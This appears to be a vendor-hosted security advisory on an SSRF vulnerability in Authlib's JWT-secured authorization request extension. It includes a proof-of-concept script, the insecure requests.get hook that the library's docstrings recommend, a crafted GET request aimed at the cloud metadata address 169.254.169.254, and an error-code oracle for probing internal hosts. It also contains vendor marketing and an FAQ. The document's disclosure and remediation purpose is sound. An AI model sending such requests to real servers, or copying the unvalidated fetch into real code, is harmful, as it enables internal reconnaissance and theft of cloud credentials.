Summary
Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
Authlib's RFC 9101 (JAR) extension passes the attacker-controlled request_uri authorization parameter straight to the get_request_object() fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (request_uris client metadata and require_request_uri_registration server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted requests.get(request_uri). Deployments following the documented pattern get an unauthenticated SSRF primitive.
Details
Verified against authlib 1.7.2 and current main. All line numbers below are from authlib/oauth2/rfc9101/authorization_server.py.
The extension registers itself on the before_get_authorization_grant hook (lines 62-65), so it runs on every authorization request before any user or client authentication. support_request_uri defaults to True (line 58).
The only gate before the sink is that client_id names an existing client (lines 91-103). A client_id is a public, non-secret identifier.
The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:
def _get_raw_request_object(self, request: OAuth2Request) -> str:
if "request_uri" in request.payload.data:
raw_request_object = self.get_request_object(
request.payload.data["request_uri"]
)
if not raw_request_object:
raise InvalidRequestUriError(state=request.payload.state)
get_request_object is abstract (line 213, raise NotImplementedError() at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice, in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):
def get_request_object(self, request_uri: str):
try:
return requests.get(request_uri).text
except requests.Exception:
return None
Two points sharpen this beyond a generic documentation issue:
- The allowlist already exists and is ignored. Authlib validates
request_urisas client metadata (authlib/oauth2/rfc7591/claims.py:319) andrequire_request_uri_registrationas server metadata (authlib/oauth2/rfc8414/models.py:263). Therfc9101package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - RFC 9101 §10.4.1 asks for controls that are absent. It states the server should "a) check that the value of the
request_uriparameter does not point to an unexpected location, b) check that the media type of the response isapplication/oauth-authz-req+jwt, c) implement a timeout for obtaining the content ofrequest_uri, and d) not perform recursive GET on therequest_uri." The extension implements none of these and the documented example implements none of them either.
The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises InvalidRequestUriError (invalid_request_uri, lines 162-163), while a successful fetch of non-JWT content raises InvalidRequestObjectError (invalid_request_object, line 186).
PoC
This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.
python -m venv .venv && .venv/bin/pip install authlib
from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request
from authlib.oauth2.rfc9101 import JWTAuthenticationRequest
reached = []
class Extension(JWTAuthenticationRequest):
def get_request_object(self, request_uri):
reached.append(request_uri) # the docstring puts requests.get(request_uri) here
return None
def resolve_client_public_key(self, client):
return {"keys": []}
def get_server_metadata(self):
return {}
def get_client_require_signed_request_object(self, client):
return False
class AuthorizationServer:
def query_client(self, client_id):
return object()
uri = "http://169.254.169.254/latest/meta-data/"
request = OAuth2Request("GET", "https://as.example/authorize")
request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri})
try:
Extension().parse_authorization_request(AuthorizationServer(), request)
except Exception as exc:
print("error:", type(exc).__name__)
print("fetch hook received:", reached)
Output on authlib 1.7.2:
error: InvalidRequestUriError
fetch hook received: ['http://169.254.169.254/latest/meta-data/']
Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:
GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
Returning a fetched-but-non-JWT body instead of None in the snippet above yields InvalidRequestObjectError rather than InvalidRequestUriError, showing the oracle that distinguishes a reachable target from an unreachable one.
Impact
Server-side request forgery, reachable without authentication by anyone who knows a valid client_id. In a deployment that implemented get_request_object as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as 169.254.169.254, and side-effectful internal GET routes. The invalid_request_uri versus invalid_request_object split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.
Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected, but authlib provides no hook to make that the default, ships support_request_uri=True, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-114620 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-114620? CVE-2026-114620 is a medium-severity server-side request forgery (SSRF) vulnerability in authlib (pip), affecting versions >= 1.6.0, < 1.9.0. It is fixed in 1.9.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-114620? CVE-2026-114620 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of authlib are affected by CVE-2026-114620? authlib (pip) versions >= 1.6.0, < 1.9.0 is affected.
- Is there a fix for CVE-2026-114620? Yes. CVE-2026-114620 is fixed in 1.9.0. Upgrade to this version or later.
- Is CVE-2026-114620 exploitable, and should I be worried? Whether CVE-2026-114620 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-114620 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-114620? Upgrade
authlibto 1.9.0 or later.